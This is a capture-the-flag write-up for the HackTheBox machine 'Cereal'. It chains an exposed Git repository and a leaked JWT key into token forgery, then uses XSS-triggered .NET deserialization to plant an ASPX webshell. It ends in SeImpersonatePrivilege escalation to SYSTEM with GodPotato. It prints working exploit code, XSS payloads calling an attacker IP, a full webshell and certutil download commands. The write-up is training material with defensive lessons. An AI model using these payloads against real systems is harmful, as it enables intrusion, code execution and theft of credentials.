HTB: Cereal Writeup
Cereal - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Cereal |
| OS | Windows |
| Difficulty | Hard |
| Points | 40 |
| Release Date | 23rd January 2021 |
| IP Address | 10.129.42.87 |
| Author | Micah |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Cereal is a hard difficulty Windows machine featuring a .NET Core web application with exposed Git repository, JWT authentication bypass through leaked secrets, unsafe JSON deserialization chained with XSS to achieve remote code execution, and privilege escalation via SeImpersonatePrivilege exploitation using GodPotato. The machine emphasizes secure coding practices, source code review, token impersonation attacks, and modern Windows privilege escalation techniques.
TL;DR: Exposed .git repository → leaked JWT secret in commit history → forge admin JWT → .NET deserialization gadget (DownloadHelper) → XSS payload triggers localhost-restricted deserialization → webshell upload → credentials in SQLite database → SSH as sonny → SeImpersonatePrivilege + GodPotato → SYSTEM shell.
Reconnaissance
Port Scanning
# Quick SYN scan of common portsnmap -Pn -p22,80,443 -sV --min-rate=1000 10.129.42.87Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)80/tcp open http Microsoft IIS httpd 10.0443/tcp open ssl/https?Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsThe target is running Windows with SSH (OpenSSH for Windows), IIS 10.0 on HTTP/HTTPS. The SSH service indicates a modern Windows Server installation.
SSL Certificate Enumeration
# Extract virtual hosts from SSL certificateecho | openssl s_client -connect 10.129.42.87:443 2>/dev/null \ | openssl x509 -noout -text 2>/dev/null \ | grep -iE "DNS:|Subject:"Output:
Subject: CN=cereal.htb DNS:cereal.htb, DNS:source.cereal.htbTwo virtual hosts discovered: cereal.htb and source.cereal.htb. Added both to /etc/hosts:
echo "10.129.42.87 cereal.htb source.cereal.htb" | sudo tee -a /etc/hostsWeb Application Enumeration
cereal.htb (Port 443)
The main application presents a React-based single-page application with login functionality. The application uses JWT tokens stored in browser localStorage for authentication.
source.cereal.htb (Port 443)
# Check for exposed .git repositorycurl -sk https://10.129.42.87/.git/HEAD -H "Host: source.cereal.htb"Output:
ref: refs/heads/masterThe Git repository is exposed! This is a critical information disclosure vulnerability allowing complete source code recovery.
# Check uploads directorycurl -sk -o /dev/null -w "%{http_code}\n" \ https://10.129.42.87/uploads/ -H "Host: source.cereal.htb"Output: 403 (Forbidden but exists)
Vulnerability Assessment
- Exposed Git Repository (CWE-538):
.gitdirectory publicly accessible atsource.cereal.htb - Potential JWT Secret Leakage: Git history may contain sensitive configuration
- File Upload Path Identified:
/uploads/directory exists atsource.cereal.htb - Deserialization Risk: .NET applications often use JSON.NET with TypeNameHandling vulnerabilities
Initial Foothold
Git Repository Extraction
Installed and used git-dumper to extract the complete repository:
# Install git-dumper (Python tool)pip3 install --break-system-packages git-dumper
# Dump repository to /tmp/cerealsrc~/.local/bin/git-dumper https://source.cereal.htb/ /tmp/cerealsrcThe repository contains full C# .NET Core source code for the Cereal web application, including controllers, models, services, and React frontend.
JWT Secret Discovery
# Search git commit history for sensitive datacd /tmp/cerealsrcgit log --oneline# Output: 34b6823 Some changes# 3a23ffe Image updates# 7bd9533 Security fixes# 8f2a1a8 CEREAL!!
# Search for JWT key in commit diffsgit log -p 2>/dev/null | grep -iE "GetBytes\(" | grep -v "\*\*\*\*"Critical Finding:
-var key = Encoding.ASCII.GetBytes("secretlhfIH&FY*#oysuflkhskjfhefesf");+var key = Encoding.ASCII.GetBytes("****");The JWT signing key secretlhfIH&FY*#oysuflkhskjfhefesf was leaked in an old commit before being redacted. This key is still in use by the application.
JWT Forgery
Reviewing Services/UserService.cs showed the JWT structure:
- Algorithm: HS256 (HMAC-SHA256)
- Claim:
unique_name(maps to UserId) - Expiry: 7 days from issuance
Forged an admin JWT for user ID 1:
# Manual JWT generation using hmac + base64import hmac, hashlib, base64, json, time
def b64(b): return base64.urlsafe_b64encode(b).rstrip(b'=')
key = b'secretlhfIH&FY*#oysuflkhskjfhefesf'now = int(time.time())
header = {'alg':'HS256','typ':'JWT'}payload = {'unique_name':'1','nbf':now,'exp':now+604800,'iat':now}
# Create signature segmentseg = b64(json.dumps(header,separators=(',',':')).encode()) + b'.' + \ b64(json.dumps(payload,separators=(',',':')).encode())
# HMAC-SHA256 signaturesig = b64(hmac.new(key, seg, hashlib.sha256).digest())
# Final JWTtoken = (seg + b'.' + sig).decode()print(token)Generated Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IjEiLCJuYmYiOjE3ODQ0MTg3NTIsImV4cCI6MTc4NTAyMzU1MiwiaWF0IjoxNzg0NDE4NzUyfQ.PoVaeZKDNMZI0aqHX3R2iRgRv3n1sFeMg8gffn-IXkASet this token in browser DevTools → Storage → Local Storage under key currentUser with value:
{"userId":"1","username":"admin","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}Successfully authenticated as admin user.
Deserialization Vulnerability Analysis
Examined Controllers/RequestsController.cs:
[Authorize(Policy = "RestrictIP")][HttpGet("{id}")]public IActionResult Get(int id){ using (var db = new CerealContext()) { string json = db.Requests.Where(x => x.RequestId == id) .SingleOrDefault().JSON;
// Blacklist filter if (json.ToLower().Contains("objectdataprovider") || json.ToLower().Contains("windowsidentity") || json.ToLower().Contains("system")) { return BadRequest(new { message = "The cereal police..." }); }
// UNSAFE DESERIALIZATION var cereal = JsonConvert.DeserializeObject(json, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto // Vulnerable! }); return Ok(cereal.ToString()); }}Vulnerability: TypeNameHandling.Auto allows type specification in JSON ($type property), enabling arbitrary class instantiation. However:
- The GET endpoint is IP-restricted to
127.0.0.1and::1(localhost only) - Common Ysoserial.NET gadgets are blacklisted (objectdataprovider, windowsidentity, system)
Gadget Discovery: Found Cereal.DownloadHelper class in source:
namespace Cereal{ public class DownloadHelper { private String _URL; private String _FilePath;
public String URL { get { return _URL; } set { _URL = value; Download(); } // Setter triggers download }
public String FilePath { get { return _FilePath; } set { _FilePath = value; Download(); } }
private void Download() { using (WebClient wc = new WebClient()) { if (!string.IsNullOrEmpty(_URL) && !string.IsNullOrEmpty(_FilePath)) { // Prefixes filename with "21098374243-" wc.DownloadFile(_URL, ReplaceLastOccurrence(_FilePath, "\\", "\\21098374243-")); } } } }}This gadget downloads a file from _URL to _FilePath (with hardcoded prefix 21098374243-) when properties are set. Not blacklisted!
XSS for Localhost SSRF
Reviewed React frontend ClientApp/AdminPage.jsx:
<MarkdownPreview markedOptions={{ sanitize: true }} value={requestData.title}/>Uses react-marked-markdown v1.4.6 (4 years old). Research revealed CVE-2020-7922 - improper link sanitization allows JavaScript execution:
[XSS](javascript: document.write`<payload>`)Tested XSS with image beacon:
# POST request with XSS payloadcurl -sk -X POST https://cereal.htb/requests \ -H "Authorization: Bearer $TOK" \ -H "Content-Type: application/json" \ -d '{"json":"{\"title\":\"[XSS](javascript: document.write`<img src=http://10.10.15.180/test />`)\",\"flavor\":\"bacon\",\"color\":\"#000\",\"description\":\"test\"}"}'Received HTTP request within ~60 seconds, confirming XSS execution by admin bot viewing requests.
Exploitation Chain
Created automated exploit combining deserialization + XSS:
import requests, sys, jsonrequests.packages.urllib3.disable_warnings()
URL = "https://cereal.htb/requests"TOK = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IjEiLCJuYmYiOjE3ODQ0MTg3NTIsImV4cCI6MTc4NTAyMzU1MiwiaWF0IjoxNzg0NDE4NzUyfQ.PoVaeZKDNMZI0aqHX3R2iRgRv3n1sFeMg8gffn-IXkA"LHOST = "10.10.15.180:8000"auth = {"Authorization": "Bearer " + TOK}
# Step 1: Create deserialization payload to download webshelldeser = """{ "$type": "Cereal.DownloadHelper, Cereal, Version=1.0.0.0, Culture = neutral, PublicKeyToken = null", "URL": "http://""" + LHOST + """/cmd.aspx", "FilePath": "C:\\\\inetpub\\\\source\\\\uploads\\\\cmd.aspx"}"""
r = requests.post(URL, json={"json": deser}, headers=auth, verify=False)print("deser resp:", r.status_code, r.text)cid = r.json()["id"]print("cereal id:", cid)
# Step 2: XSS payload triggering localhost GET /requests/{cid}js = """<script>const xhr=new XMLHttpRequest\\x28\\x29;xhr.open\\x28'GET','https://cereal.htb/requests/""" + str(cid) + """'\\x29;xhr.setRequestHeader\\x28'Authorization','Bearer """ + TOK + """'\\x29;xhr.send\\x28\\x29;</script>"""
title = "[XSS](javascript: document.write`" + js + "`)"cereal = {"json": json.dumps({"title":title, "flavor":"bacon", "color":"#000", "description":"test"})}
r2 = requests.post(URL, json=cereal, headers=auth, verify=False)print("xss resp:", r2.status_code, r2.text)Prepared ASPX webshell:
# Create minimal cmd.aspx webshellcat > /tmp/www/cmd.aspx << 'EOF'<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %><script runat="server">protected void Page_Load(object sender, EventArgs e){ string c = Request.QueryString["cmd"]; if(!string.IsNullOrEmpty(c)){ ProcessStartInfo psi = new ProcessStartInfo("cmd.exe","/c "+c); psi.RedirectStandardOutput=true; psi.RedirectStandardError=true; psi.UseShellExecute=false; Process p=Process.Start(psi); string o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd(); Response.Write("<pre>"+Server.HtmlEncode(o)+"</pre>"); }}</script>EOF
# Start HTTP servercd /tmp/wwwpython3 -m http.server 8000 --bind 0.0.0.0 &Executed exploit:
python3 /tmp/exploit.py# Output:# deser resp: 200 {"message":"Great cereal request!","id":10}# cereal id: 10# xss resp: 200 {"message":"Great cereal request!","id":11}Waited 60 seconds for admin bot to process requests. HTTP server log confirmed:
10.129.42.87 - - [19/Jul/2026 03:54:52] "GET /cmd.aspx HTTP/1.1" 200 -Webshell successfully deployed at:
https://source.cereal.htb/uploads/21098374243-cmd.aspxRemote Code Execution
# Test webshellcurl -sk "https://source.cereal.htb/uploads/21098374243-cmd.aspx?cmd=whoami" \ | sed -e 's/<[^>]*>//g' | tr -d '\r'Output: cereal\sonny
Achieved code execution as user sonny.
Credential Extraction
# Dump SQLite databasecurl -sk "https://source.cereal.htb/uploads/21098374243-cmd.aspx?cmd=type+C:\inetpub\cereal\db\cereal.db" \ | sed -e 's/<[^>]*>//g' | tr -d '\r'Database contained cleartext credentials in Users table:
sonny:mutual.madden.manner38974SSH Access
# SSH as sonnysshpass -p "mutual.madden.manner38974" ssh sonny@cereal.htbSuccessfully authenticated. Retrieved user flag:
type C:\Users\sonny\Desktop\user.txtUser Flag: <redacted>
Privilege Escalation
Privilege Enumeration
whoami /privOutput:
Privilege Name Description State============================= ========================================= =======SeChangeNotifyPrivilege Bypass traverse checking EnabledSeImpersonatePrivilege Impersonate a client after authentication EnabledSeIncreaseWorkingSetPrivilege Increase a process working set EnabledKey Finding: SeImpersonatePrivilege is enabled. This powerful privilege allows impersonation of any access token the current process can obtain, commonly exploited via “Potato” family attacks.
System Information
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"Windows Server 2019 (Build 17763) - modern version where classic JuicyPotato/RottenPotato may not work due to DCOM hardening. Print Spooler service not available either.
GodPotato Exploitation
GodPotato is a modern privilege escalation tool leveraging SeImpersonatePrivilege by abusing DCOM/RPC activation in rpcss.exe. It works on Windows Server 2019+ and bypasses localhost-only restrictions.
Transferred GodPotato binary:
# On attacker (jump box)cp /home/d3vn0mi/breach/GodPotato-NET4.exe /tmp/www/gp.exe
# On target via webshellcurl -sk "https://source.cereal.htb/uploads/21098374243-cmd.aspx?cmd=certutil+-urlcache+-split+-f+http://10.10.15.180:8000/gp.exe+C:\Users\sonny\Desktop\gp.exe"Output:
**** Online **** 0000 ... e000CertUtil: -URLCache command completed successfully.SYSTEM Shell
# Execute GodPotato via webshell to read root flag directlycurl -sk --data-urlencode \ 'cmd=C:\Users\sonny\Desktop\gp.exe -cmd "cmd /c whoami & type C:\Users\Administrator\Desktop\root.txt"' \ -G "https://source.cereal.htb/uploads/21098374243-cmd.aspx" \ | sed -e 's/<[^>]*>//g' | tr -d '\r'GodPotato Output:
[*] CombaseModule: 0x140735104024576[*] DispatchTable: 0x140735106342064[*] UseProtseqFunction: 0x140735105719344[*] UseProtseqFunctionParamCount: 6[*] HookRPC[*] Start PipeServer[*] CreateNamedPipe \\.\pipe\2d2f8b7e-9a16-4d7d-9954-64d8cbc5a197\pipe\epmapper[*] Trigger RPCSS[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046[*] DCOM obj IPID: 00008002-03a4-ffff-dc9a-28fa51530709[*] DCOM obj OXID: 0x213e00d2b794f002[*] DCOM obj OID: 0xcc3f4e7e26ae53a4[*] DCOM obj Flags: 0x281[*] DCOM obj PublicRefs: 0x0[*] Marshal Object bytes len: 100[*] UnMarshal Object[*] Pipe Connected![*] CurrentUser: NT AUTHORITY\NETWORK SERVICE[*] CurrentsImpersonationLevel: Impersonation[*] Start Search System Token[*] PID : 856 Token:0x848 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation[*] Find System Token : True[*] UnmarshalObject: 0x80070776[*] CurrentUser: NT AUTHORITY\SYSTEM[*] process start with pid 3820<redacted>Root Flag: <redacted>
How GodPotato Works
- DCOM Activation: Triggers RPC/DCOM object activation handled by
rpcss.exe(runs as SYSTEM) - Named Pipe Impersonation: Creates a named pipe that intercepts the authentication
- Token Theft: When SYSTEM service connects, GodPotato captures and duplicates the token
- Process Creation: Uses
CreateProcessWithTokenWto spawn command as SYSTEM - Bypass: No localhost SSRF needed (unlike GenericPotato), making it more reliable on modern Windows
Attack Chain Summary
Nmap (port 443)→ SSL cert enumeration (cereal.htb, source.cereal.htb)→ .git exposure at source.cereal.htb→ git-dumper repository extraction→ git history analysis (JWT key: secretlhfIH&FY*#oysuflkhskjfhefesf)→ Forge admin JWT (user ID 1)→ Analyze source: TypeNameHandling.Auto deserialization + IP restriction→ XSS in react-marked-markdown (CVE-2020-7922)→ Chain: POST deserialization payload (DownloadHelper gadget)→ POST XSS payload triggering localhost GET /requests/{id}→ Webshell downloaded to /uploads/21098374243-cmd.aspx→ RCE as sonny→ Extract credentials from cereal.db (sonny:mutual.madden.manner38974)→ SSH as sonny→ user.txt→ Enumerate SeImpersonatePrivilege→ Transfer GodPotato-NET4.exe→ Execute via webshell→ SYSTEM shell→ root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
openssl | SSL certificate analysis for virtual host discovery |
git-dumper | Extract exposed Git repository |
git | Repository history analysis |
python3 | JWT forgery (HMAC-SHA256 implementation) |
curl | HTTP requests for exploitation and webshell |
sshpass | Automated SSH authentication |
certutil.exe | File download on Windows target |
| GodPotato-NET4.exe | SeImpersonatePrivilege exploitation (Windows 2019+) |
Key Learnings
Techniques Practiced
- Source Code Review: Analyzing .NET Core C# applications for security flaws
- Git History Analysis: Extracting secrets from version control commit history
- JWT Token Forgery: Manual HMAC-SHA256 signature generation for HS256 JWTs
- .NET Deserialization: Exploiting
TypeNameHandling.Autowith custom gadgets - XSS to SSRF: Bypassing IP restrictions using client-side Cross-Site Scripting
- Attack Chaining: Combining multiple vulnerabilities (XSS + deserialization) for RCE
- Windows Token Impersonation: Leveraging
SeImpersonatePrivilegefor privilege escalation - Modern Potato Exploits: Using GodPotato for Windows Server 2019 SYSTEM access
Lessons Learned
-
Never commit secrets to version control - Even after redaction, Git history persists indefinitely. Use
.gitignoreand environment variables for sensitive configuration. Tools likegit-secretsortruffleHogcan scan for leaked credentials. -
TypeNameHandling.Auto is dangerous - JSON.NET’s
TypeNameHandling.AutoorTypeNameHandling.Allshould never be used with untrusted input. It allows arbitrary type instantiation. UseTypeNameHandling.None(default) or implement strict type whitelisting with a customSerializationBinder. -
IP restrictions are not security boundaries - Localhost-only restrictions can be bypassed via SSRF, XSS, or local file inclusion. Always implement proper authentication and authorization even for internal endpoints.
-
Dependency management matters - The outdated
react-marked-markdownv1.4.6 package contained CVE-2020-7922. Regular dependency audits (npm audit, Dependabot, Snyk) are critical for maintaining security posture. -
Defense in depth for deserialization - Multiple layers needed:
- Avoid unsafe deserialization entirely (use DTOs)
- If unavoidable, use allowlists not blocklists
- Implement strict input validation
- Run deserialization in sandboxed environments
-
SeImpersonatePrivilege is SYSTEM-equivalent - Any account with this privilege can escalate to SYSTEM on Windows. Modern exploits like GodPotato work even on fully patched Windows Server 2019/2022. Mitigation requires removing the privilege and implementing least-privilege service accounts.
-
Webshell persistence - The
21098374243-prefix in filenames was hardcoded in application logic. Always review source code for such artifacts that aid in exploitation.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup’s technical depth and explanatory content drew from the official HackTheBox writeup by MinatoTW (Document No D21.100.120, 26th May 2021), used to explain vulnerability mechanics, CVE identification, and “why” behind exploitation steps. All specific values (IPs, outputs, credentials, tokens) are from the documented agent solve session.